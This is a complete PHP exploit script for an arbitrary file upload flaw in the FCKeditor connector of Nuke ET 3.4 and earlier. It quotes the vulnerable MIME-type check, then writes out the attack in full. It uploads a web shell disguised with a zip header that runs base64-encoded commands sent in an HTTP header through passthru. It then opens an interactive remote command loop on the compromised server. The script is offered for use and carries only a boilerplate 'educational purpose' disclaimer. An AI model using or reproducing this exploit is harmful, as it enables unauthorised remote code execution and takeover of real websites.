Nuke ET <= 3.4 (fckeditor) 远程上传文件利用代码

<?php

/*
        ---------------------------------------------------------------
        Nuke ET <= 3.4 (fckeditor) Remote Arbitrary File Upload Exploit
        ---------------------------------------------------------------
        
        author...: EgiX
        mail.....: n0b0d13s[at]gmail[dot]com
        
        link.....:http://www.truzone.org/
        
        This PoC was written for educational purpose. Use it at your own risk.
        Author will be not responsible for any damage.
        
        [-] vulnerable code in /nuke/FCKeditor/editor/filemanager/browser/default/connectors/php/commands.php
        
        147.        function FileUpload( $resourceType, $currentFolder )
        148.        {
        149.                $sErrorNumber = '0' ;
        150.                $sFileName = '' ;
        151.        
        152.                if ( isset( $_FILES['NewFile'] ) && !is_null( $_FILES['NewFile']['tmp_name'] ) )
        153.                {
        154.                        $oFile = $_FILES['NewFile'] ;
        155.        
        156.                        // Map the virtual path to the local server path.
        157.                        $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
        158.        
        159.                        // Get the uploaded file name.
        160.                        $sFileName = $oFile['name'] ;
        161.                        $sOriginalFileName = $sFileName ;
        162.                        // Security fix by truzone 01-15-2006
        163.                        //$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
        164.                        //$sExtension = strtolower( $sExtension ) ;
        165.        
        166.                        if(extension_loaded("mime_magic")){
        167.                        $sExtension = mime_content_type($oFile['tmp_name']);
        168.                        }else{
        169.                        $sExtension = $oFile['type'];
        170.                        }
        171.                        // en of security fix by truzone 01-15-2006
        172.                        global $Config ;
        173.        
        174.                        $arAllowed        = $Config['AllowedExtensions'][$resourceType] ;
        175.                        $arDenied        = $Config['DeniedExtensions'][$resourceType] ;

        An attacker might be able to upload arbitrary files containing malicious PHP code due to the code
        near lines 166-170 will check only the MIME type of the upload request, that can be easily spoofed!
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
        $sock = fsockopen($host, 80);
        while (!$sock)
        {
                print "\n[-] No response from {$host}:80 Trying again...";
                $sock = fsockopen($host, 80);
        }
        fputs($sock, $packet);
        while (!feof($sock)) $resp .= fread($sock, 1024);
        fclose($sock);
        return $resp;
}

function connector_response($html)
{
        return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}

print "\n+------------------------------------------------------------------+";
print "\n| Nuke ET <= 3.4 (fckeditor) Arbitrary File Upload Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";

if ($argc < 3)
{
        print "\nUsage......: php $argv[0] host path";
        print "\nExample....: php $argv[0] localhost /";
        print "\nExample....: php $argv[0] localhost /nukeet/\n";
        die();
}

$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);

$filename  = md5(time()).".php";
$connector = "FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php";

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: application/zip\r\n\r\n";
$payload .= "PK\003\004<?php error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?>\n";
$payload .= "--o0oOo0o--\r\n";

$packet         = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n";
$packet        .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Shell uploaded to {$filename}...starting it!\n";

$path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root

$packet  = "GET {$path}{$filename} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
        print "\nnukeet-shell# ";
        $cmd = trim(fgets(STDIN));
        if ($cmd != "exit")
        {
                $response = http_send($host, sprintf($packet, base64_encode($cmd)));
                preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
        }
        else break;
}

?>